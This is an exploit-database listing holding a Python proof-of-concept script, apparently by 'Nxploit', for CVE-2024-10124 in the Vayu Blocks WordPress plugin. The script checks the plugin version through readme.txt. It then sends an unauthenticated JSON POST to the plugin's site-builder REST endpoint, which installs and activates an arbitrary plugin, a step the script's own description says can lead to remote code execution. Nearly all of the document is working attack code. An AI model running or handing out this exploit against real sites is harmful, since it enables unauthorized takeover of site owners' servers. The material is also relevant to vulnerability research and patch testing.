Exploit databaseDownload repository ZIP
GH-0cec462502151e4654065caa34bd9beb
nxploited/cve-2024-10124-poc
Sources for CVE-2024-10124
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
nxploited/cve-2024-10124-pocRevision e81fa28064fa
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2024-10124.py
Python · 3,630 bytesimport argparse
import requests
import time
# By Nxploit | Khaled_alenazi
def check_version(url):
if not url.startswith("http://") and not url.startswith("https://"):
raise ValueError("URL must start with http:// or https://")
url_version = f"{url}/wp-content/plugins/vayu-blocks/readme.txt"
try:
response = requests.get(url_version, timeout=10)
response.raise_for_status()
if "Stable tag:" in response.text:
stable_tag = response.text.split("Stable tag:")[1].split()[0].strip()
if stable_tag <= "1.1.1":
print(f"The site is vulnerable. Current version: {stable_tag}")
else:
print(f"The site is not vulnerable. Current version: {stable_tag}")
else:
print("Version information not found in readme.txt")
except requests.exceptions.RequestException as e:
print("An error occurred while checking version:", e)
def install_plugin(url, plugin_name):
if not url.startswith("http://") and not url.startswith("https://"):
raise ValueError("URL must start with http:// or https://")
if not plugin_name:
raise ValueError("Plugin name cannot be empty")
full_url = f"{url}/wp-json/ai/v1/vayu-site-builder"
payload = {
"params": {
"plugin": {
plugin_name: plugin_name.replace(" ", "-")
},
"allPlugins": [
{
plugin_name: f"{plugin_name}/{plugin_name}.php"
}
],
"themeSlug": "",
"proThemePlugin": "",
"templateType": "free",
"tmplFreePro": "plugin"
}
}
headers = {
"Content-Type": "application/json"
}
try:
time.sleep(3)
response = requests.post(full_url, headers=headers, json=payload, timeout=10)
response.raise_for_status()
if response.status_code == 200:
print("Response Status Code:", response.status_code)
print("The plugin has been successfully uploaded and activated.")
print("Response Content:", response.json())
else:
print("Unexpected status code:", response.status_code)
print("Response Content:", response.text)
except requests.exceptions.RequestException as e:
print("An error occurred while installing plugin:", e)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation\n and activation due to a missing capability check on the tp_install() function in all versions\n up to, and including, 1.1.1. This makes it possible\n for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. This vulnerability was partially patched in version 1.1.1..")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://192.168.100.74/wordpress)")
parser.add_argument("-p", "--plugin", default="hello-dolly", help="Plugin name (default: hello-dolly)")
parser.add_argument("--check-version", action="store_true", help="Check if the site is vulnerable based on plugin version")
args = parser.parse_args()
if args.check_version:
check_version(args.url)
else:
install_plugin(args.url, args.plugin)